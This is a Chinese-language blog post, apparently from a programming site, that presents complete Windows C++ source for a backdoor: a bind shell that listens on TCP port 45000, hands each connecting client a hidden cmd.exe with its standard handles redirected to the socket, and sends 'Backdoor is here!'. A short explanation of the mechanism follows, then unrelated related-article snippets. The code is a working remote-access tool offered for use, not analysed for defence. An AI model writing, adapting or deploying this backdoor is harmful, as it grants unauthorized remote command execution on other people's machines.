无管道后门(Backdoor)编写

news2025/1/19 11:20:27

1. 代码编写

这是基于异步套接字的后门, 利用windows提供的WSASocket API函数, 这个API和socket的区别是, 其无需等待收发完成就可以继续执行, 也就是异步的。这可实现不用管道进行收发数据。
代码:

#include <WinSock2.h>
#include <windows.h>
#include <tchar.h>
#define MAXCONN (30)
#define DEFPORT (45000)
HANDLE* g_phClntHandler = nullptr;
SOCKET* g_pSockAry = nullptr;


#pragma comment(lib, "ws2_32.lib")


VOID ClearupSocket(BOOLEAN fCleanupSock = TRUE)
{
	if (fCleanupSock)
	{
		WSACleanup();
	}

	for (size_t nIdx = 0; nIdx < MAXCONN; ++nIdx)
	{
		if (INVALID_SOCKET != g_pSockAry[nIdx])
		{
			closesocket(g_pSockAry[nIdx]);
			g_pSockAry[nIdx] = INVALID_SOCKET;
		}
		if (g_phClntHandler[nIdx])
		{
			CloseHandle(g_phClntHandler[nIdx]);
			g_phClntHandler[nIdx] = NULL;
		}
	}

	if (g_phClntHandler)
	{
		HeapFree(GetProcessHeap(), 0, g_phClntHandler);
		g_phClntHandler = nullptr;
	}

	if (g_pSockAry)
	{
		HeapFree(GetProcessHeap(), 0, g_pSockAry);
		g_pSockAry = nullptr;
	}
}

BOOLEAN InitSocket()
{
	WSADATA stData = { 0 };
	int iRet = 0;
	BOOLEAN fOk = FALSE;

	do
	{
		iRet = WSAStartup(MAKEWORD(2, 2), &stData);
		if (INVALID_SOCKET == iRet)
		{
			break;
		}
		// 分配线程handle堆空间
		g_phClntHandler = (PHANDLE)HeapAlloc(GetProcessHeap(), 
			HEAP_ZERO_MEMORY, 
			sizeof(HANDLE) * MAXCONN);
		if (!g_phClntHandler)
		{
			break;
		}
		RtlZeroMemory(g_phClntHandler, sizeof(HANDLE) * MAXCONN);
		// 分配socket堆空间
		g_pSockAry = (SOCKET*)HeapAlloc(GetProcessHeap(), 
			HEAP_ZERO_MEMORY, 
			sizeof(SOCKET) * MAXCONN);
		if (!g_pSockAry)
		{
			break;
		}
		for (size_t nIdx = 0; nIdx < MAXCONN; ++nIdx)
		{
			g_pSockAry[nIdx] = INVALID_SOCKET;
		}

		fOk = TRUE;
	} while (FALSE);

	if (!fOk)
	{
		ClearupSocket(INVALID_SOCKET != iRet);
	}

	return(fOk);
}


DWORD WINAPI ClntHandler(LPVOID pParam)
{
	SOCKET hClntSock = (SOCKET)pParam;
	TCHAR tzCmdPath[MAX_PATH] = { 0 };
	STARTUPINFO stStartup = { sizeof(STARTUPINFO) };
	PROCESS_INFORMATION stPi = { 0 };
	BOOL fOk = FALSE;

	GetSystemDirectory(tzCmdPath, _countof(tzCmdPath));
	strcat_s(tzCmdPath, _countof(tzCmdPath) - _tcslen(tzCmdPath), TEXT("\\cmd.exe"));

	stStartup.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	stStartup.hStdError = stStartup.hStdInput = stStartup.hStdOutput = (HANDLE)hClntSock;
	stStartup.wShowWindow = SW_HIDE;

	fOk = CreateProcess(nullptr, tzCmdPath, nullptr, nullptr, TRUE, 0, nullptr, nullptr, &stStartup, &stPi);
	if (!fOk)
	{
		return(-1);
	}
	WaitForSingleObject(stPi.hProcess, INFINITE);
	
	if (stPi.hThread)
	{
		CloseHandle(stPi.hThread);
		stPi.hThread = NULL;
	}
	if (stPi.hProcess)
	{
		CloseHandle(stPi.hProcess);
		stPi.hProcess = NULL;
	}

	return(0);
}


int WINAPI WinMain(HINSTANCE hInstance,      // handle to current instance
	HINSTANCE hPrevInstance,  // handle to previous instance
	LPSTR lpCmdLine,          // command line
	int nCmdShow              // show state
)
{
	SOCKET sListen = INVALID_SOCKET;
	sockaddr_in stServerAddr = { 0 };
	sockaddr_in stClntAddr[MAXCONN] = { 0 };
	int iRet = 0;
	DWORD dwThreadId = 0;
	int iLenOfAddr = 0;
	TCHAR tzBuf[] = TEXT("Backdoor is here!\r\n");

	if (!InitSocket())
	{
		return(-1);
	}

	do
	{
		sListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nullptr, 0, 0);
		if (INVALID_SOCKET == sListen)
		{
			break;
		}
		stServerAddr.sin_family = AF_INET;
		stServerAddr.sin_port = htons(DEFPORT);
		stServerAddr.sin_addr.S_un.S_addr = INADDR_ANY;

		iRet =  bind(sListen, (sockaddr*)&stServerAddr, sizeof(sockaddr));
		if (SOCKET_ERROR == iRet)
		{
			break;
		}
		iRet = listen(sListen, MAXCONN);
		if (SOCKET_ERROR == iRet)
		{
			break;
		}
		
		for (int nClntIdx = 0; nClntIdx < MAXCONN; ++nClntIdx)
		{
			iLenOfAddr = sizeof(sockaddr);
			g_pSockAry[nClntIdx] = accept(sListen, (sockaddr*)&stClntAddr[nClntIdx], &iLenOfAddr);
			if (INVALID_SOCKET == g_pSockAry[nClntIdx])
			{
				--nClntIdx;
				continue;
			}
			g_phClntHandler[nClntIdx] = CreateThread(NULL, 
				0, 
				ClntHandler, 
				(LPVOID)g_pSockAry[nClntIdx],
				0,
				&dwThreadId);
			if (!g_phClntHandler)
			{
				if (INVALID_SOCKET != g_pSockAry[nClntIdx])
				{
					closesocket(g_pSockAry[nClntIdx]);
					g_pSockAry[nClntIdx] = INVALID_SOCKET;

				}
				--nClntIdx;
				continue;
			}
			
			send(g_pSockAry[nClntIdx], tzBuf, sizeof(tzBuf), 0);
		}

		WaitForMultipleObjects(MAXCONN, g_phClntHandler, TRUE, INFINITE);
	} while (FALSE);

	if (INVALID_SOCKET != sListen)
	{
		closesocket(sListen);
		sListen = INVALID_SOCKET;
	}
	ClearupSocket();

	return(0);
}

2. 原理图

在这里插入图片描述

3. 主要原理

后门创建子进程并让子进程继承自己的3个标准句柄, 并将这3个句柄全部重定向到socket上。这个socket是归后门所有的。
如果主控端发来命令, 后门程序从socket收到了命令将其重定向到了stdin中, 由于标准句柄已被cmd.exe继承, 所以cmd.exe收到命令并执行后, 从标准输出和标准错误把结果重定向回了socket, 并通过其传回主控端。
(完)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1107294.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Leetcode 349 两个数组的交集 (哈希表)

Leetcode 349 两个数组的交集 &#xff08;哈希表&#xff09; 解法1 &#x1f60b;解法2 解法1 &#x1f60b; 自己的笨比方法:【哇这居然是标准解法之一&#xff0c;我不是笨比&#x1f60b;&#x1f60b;&#x1f60b;】 创建了两个hash数组&#xff0c;nums1出现一个就对应…

基于鹰栖息优化的BP神经网络(分类应用) - 附代码

基于鹰栖息优化的BP神经网络&#xff08;分类应用&#xff09; - 附代码 文章目录 基于鹰栖息优化的BP神经网络&#xff08;分类应用&#xff09; - 附代码1.鸢尾花iris数据介绍2.数据集整理3.鹰栖息优化BP神经网络3.1 BP神经网络参数设置3.2 鹰栖息算法应用 4.测试结果&#x…

华为云云耀云服务器L实例性能测评|华为云云耀云服务器L实例评测使用体验

华为云云耀云服务器L实例性能测评 文章目录 华为云云耀云服务器L实例性能测评1. 云耀云服务器L实例简介1.2 云耀云服务器与弹性云服务器区别1.3 云耀负载均衡 2. 云耀云服务器L实例购买2.1 云耀服务器L实例购买2.1.1 云耀服务器L实例初始化配置2.1.2 远程登录云耀服务器L实例 3…

【Java 进阶篇】HTML DOM样式控制详解

当我们讨论网页设计时&#xff0c;样式是一个至关重要的方面。它使我们能够改变文本、图像和其他页面元素的外观&#xff0c;从而创造出吸引人的网页。在HTML DOM&#xff08;文档对象模型&#xff09;中&#xff0c;我们可以使用JavaScript来操作和控制样式。这篇博客将详细介…

OneDrive打不开了,怎么办?使用管理员身份也无效,分享解决办法如下

文章目录 1、问题描述2、解决办法2.1 修改注册表信息2.2 修改本地组策略 1、问题描述 电脑自带的 OneDrive 突然打不开了&#xff0c;双击也没有任何反应&#xff0c;以管理员身份打开也不行。去看了好多资料才解决这个问题&#xff0c;现分享如下&#xff1b; 2、解决办法 …

计网 七层网络模型

计网 七层网络模型 一.协议&#xff08;protocol&#xff09; 1.什么是协议 数据在网络中传输时按照的规则就是协议&#xff08;protocol&#xff09; 协议&#xff08;protocol&#xff09;规定了数据在网络中传输的顺序&#xff0c;格式&#xff0c;以及携带哪些内容 二…

【解决】运行vue项目,启动报错 in ./node_modules/@intlify/core-base/dist/core-base.cjs

我的处理方式: 一开始查了好多方法&#xff0c;删除node_modules&#xff0c;重新安装&#xff0c;切换node版本等&#xff0c;但是发现并没有用 之后来发现是安装依赖包的时候有些包安装失败导致的&#xff0c;只要有针对性的重新安装依赖就可以了 例如&#xff1a; in ./n…

【vue2.x】如何快速实现每个月倒计时

代码一 //获取这个月最后一天getLastDay(){var year new Date().getFullYear(); //获取年份var month new Date().getMonth() 1; //获取月份var lastDate new Date(year, month , 0).getDate(); //获取当月最后一日month month < 10 ? 0 month : month ; //月份补 0…

6 个可解锁部分 GPT-4 功能的 Chrome 扩展(无需支付 ChatGPT Plus 费用)

在过去的几个月里&#xff0c;我广泛探索了 ChatGPT 的所有可用插件。在此期间&#xff0c;我发现了一些令人惊叹的插件&#xff0c;它们改进了我使用 ChatGPT 的方式&#xff0c;但现在&#xff0c;我将透露一些您需要了解的内容。 借助 Chrome 扩展程序&#xff0c;所有 Chat…

深度学习(生成式模型)——DDPM:denoising diffusion probabilistic models

文章目录 前言DDPM的基本流程前向过程反向过程DDPM训练与测试伪代码 前向过程详解反向过程详解DDPM损失函数推导结语 前言 本文将总结扩散模型DDPM的原理&#xff0c;首先介绍DDPM的基本流程&#xff0c;接着展开介绍流程里的细节&#xff0c;最后针对DDPM的优化函数进行推导&…

网络通信——与WEB服务器交换数据(三十)

1. 与WEB服务器交换数据 1.1 知识点 &#xff08;1&#xff09;可以通过地址重写的方式进行Web Server的访问&#xff1b; &#xff08;2&#xff09;可以采用POST方式进行请求的提交&#xff1b; &#xff08;3&#xff09;可以读取网络上的图片信息&#xff1b; 1.2 具体…

javaEE - 1(9000字详解多线程第一篇)

一&#xff1a;认识线程 1.1 线程的概念 线程是操作系统中执行的最小单位&#xff0c;它是进程中的一个实体。一个进程可以包含多个线程&#xff0c;并且这些线程共享进程的资源&#xff0c;如内存、文件句柄等&#xff0c;但每个线程有自己的独立执行流程和栈空间。 线程在…

SOAR安全事件编排自动化响应-安全运营实战

SOAR是最近几年安全市场上最火热的词汇之一。各个安全产商都先后推出了相应的产品&#xff0c;但大部分都用得不是很理想。SOAR不同与传统的安全设备&#xff0c;买来后实施部署就完事&#xff0c;SOAR是一个安全运营系统&#xff0c;是实现安全运营过程中人、工具、流程的有效…

【GlobalMapper精品教程】063:线转面,面转线、线折点转点、面折点转点、点生成线、点生成面案例教程

本文讲解globalmapper中进行矢量线转面,面转线、线折点转点、面折点转点、点生成线、点创建面的方法。 文章目录 一、 面转线二、线转面三、线折点转点四、面折点转点五、点生成线六、点生成面一、 面转线 加载《GlobalMapper中文实战精品教程》(订阅专栏,获取所有文章阅读…

C语言的offsetof宏模拟和用宏实现交换奇偶位

目录 1. offsetof宏模拟 2. 宏实现交换奇偶位 1. offsetof宏模拟 作用&#xff1a;该宏的作用是计算一个结构体中成员的偏移量 模拟实现&#xff1a; #define offsetof(StructType, MemberName) (size_t)&(((StructType *)0)->MemberName) StructType是结构体类型名…

python:talib.BBANDS 画股价-布林线图

python 安装使用 TA_lib 安装主要在 http://www.lfd.uci.edu/~gohlke/pythonlibs/ 这个网站找到 TA_Lib-0.4.24-cp310-cp310-win_amd64.whl pip install /pypi/TA_Lib-0.4.24-cp310-cp310-win_amd64.whl 编写 talib_boll.py 如下 # -*- coding: utf-8 -*- import os impor…

jni:as 进行 JNI / NDK 开发:初步配置及使用

AndroidStudio 进行 JNI / NDK 开发&#xff1a;初步配置及使用-CSDN博客版权声明&#xff1a; 本文为博主原创文章&#xff0c;转载请标明出处。AndroidStudio 进行 JNI / NDK 开发&#xff1a;初步配置及使用-CSDN博客 一、相关名词解释 JNI&#xff1a;java native interf…

《数据结构、算法与应用C++语言描述》使用C++语言实现数组队列

《数据结构、算法与应用C语言描述》使用C语言实现数组队列 定义 队列的定义 队列&#xff08;queue&#xff09;是一个线性表&#xff0c;其插入和删除操作分别在表的不同端进行。插入元素的那一端称为队尾&#xff08;back或rear&#xff09;&#xff0c;删除元素的那一端称…

Matlab/C++源码实现RGB通道与HSV通道的转换(效果对比Halcon)

HSV通道的含义 HSV通道是指图像处理中的一种颜色模型&#xff0c;它由色调&#xff08;Hue&#xff09;、饱和度&#xff08;Saturation&#xff09;和明度&#xff08;Value&#xff09;三个通道组成。色调表示颜色的种类&#xff0c;饱和度表示颜色的纯度或鲜艳程度&#xf…

JAVA基础(JAVA SE)学习笔记(三)流程控制语句

前言 1. 学习视频&#xff1a; 尚硅谷Java零基础全套视频教程(宋红康2023版&#xff0c;java入门自学必备)_哔哩哔哩_bilibili 2023最新Java学习路线 - 哔哩哔哩 正文 JAVA基础&#xff08;JAVA SE&#xff09;学习笔记&#xff08;一&#xff09;JAVA学习路线、行业了解、…